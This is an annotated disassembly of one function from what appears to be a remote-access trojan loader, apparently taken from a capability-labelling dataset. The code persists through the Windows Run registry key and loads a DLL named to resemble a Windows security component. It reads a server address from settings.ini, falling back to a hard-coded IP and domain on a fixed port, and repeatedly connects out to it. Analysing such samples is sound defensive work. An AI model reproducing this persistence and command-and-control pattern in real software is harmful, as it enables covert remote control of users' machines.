Function at 0x401090
Capabilities:
Persist via run registry key
Read .ini file
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x41b010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x214], eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call edi
lea eax, [ebp - 0x210]
mov dword [ebp - 0x210], 0
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4010f5
xor ecx, ecx
jmp 0x40113e
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401100
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x20c]
push eax
push 1
push 0
push str.MyProgram
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x210]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
test esi, esi
sete cl
test ecx, ecx
mov edx, 0x41988c
mov eax, 0x4198a0
cmovne eax, edx
push eax
call fcn.00401010
add esp, 4
mov dword [0x41c434], 0
push 1
push 0x401040
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
lea esi, [ebp - 0x108]
push 0x104
mov eax, esi
push eax
push 0
call edi
cmp byte [ebp - 0x108], 0
je 0x401190
inc esi
cmp byte [esi], 0
jne 0x401188
nop
mov edi, esi
dec esi
cmp byte [esi], 0x5c
jne 0x401190
movups xmm0, xmmword [str.SecurityHealthSsOoUdk.dll]
mov ax, word [0x4198cc]
movups xmmword [edi], xmm0
movq xmm0, qword [0x4198c4]
movq qword [edi + 0x10], xmm0
mov word [edi + 0x18], ax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x401383
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.TestRun
push ebx
call esi
push str.StopRun
push ebx
mov dword [ebp - 0x210], eax
call esi
push str.IsStoped
push ebx
mov dword [0x41c428], eax
call esi
push str.IsExit
push ebx
mov dword [0x41c430], eax
call esi
cmp dword [ebp - 0x210], 0
mov dword [0x41c42c], eax
je 0x4013a1
mov ebx, str.103.233.255.139
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401222
sub ecx, edx
jne 0x4012e4
movq xmm0, qword [str.settings.ini]
mov eax, dword [0x4198fc]
movq qword [edi], xmm0
mov dword [edi + 8], eax
mov al, byte [0x419900]
mov byte [edi + 0xc], al
lea eax, [ebp - 0x108]
push ecx
push eax
call fcn.004062fa
add esp, 8
cmp eax, 0xffffffff
jne 0x40129b
mov eax, dword [ebp + 8]
cmp eax, 1
jle 0x40128a
mov ecx, dword [ebp - 0x214]
mov ebx, dword [ecx + 4]
cmp eax, 2
jle 0x40128f
push dword [ecx + 8]
call fcn.00406622
add esp, 4
mov dword [0x41b9b8], eax
jmp 0x4012e9
mov ebx, str.127.0.0.1
mov eax, 0x4ac5
mov dword [0x41b9b8], eax
jmp 0x4012e9
lea eax, [ebp - 0x108]
push eax
push 0x104
push str.103.233.255.139
push str.yuanyuanxiang.oicp.net
push str.localIp
push str.settings
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x108]
push eax
push 0x4ac5
push str.ghost
push str.settings
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [0x41b9b8], eax
jmp 0x4012e9
mov eax, dword [0x41b9b8]
push eax
push ebx
push str._server___s:_d_n
call fcn.00401010
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
nop
push dword [0x41b9b8]
push ebx
call dword [ebp - 0x210]
mov eax, dword [0x41c430]
add esp, 8
test eax, eax
je 0x401343
nop dword [eax]
call eax
test al, al
jne 0x40133e
cmp dword [0x41c434], 0
jne 0x40133e
push 0x14
call esi
mov eax, dword [0x41c430]
test eax, eax
jne 0x401320
jmp 0x401343
mov eax, dword [0x41c430]
mov ecx, dword [0x41c42c]
test ecx, ecx
je 0x401361
call ecx
test al, al
jne 0x40135c
cmp dword [0x41c434], 0
je 0x401300
mov eax, dword [0x41c430]
test eax, eax
je 0x4013b9
call eax
test al, al
jne 0x4013b9
cmp dword [0x41c434], 1
jne 0x4013b9
push 0x14
call esi
mov eax, dword [0x41c430]
test eax, eax
jne 0x401365
jmp 0x4013b9
mov dword [0x41c428], 0
mov dword [0x41c430], 0
mov dword [0x41c42c], 0
push 0x419954
call fcn.00401010
add esp, 4
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
mov dword [0x41c434], 0
pop ebx
call fcn.00401628
mov esp, ebp
pop ebp
ret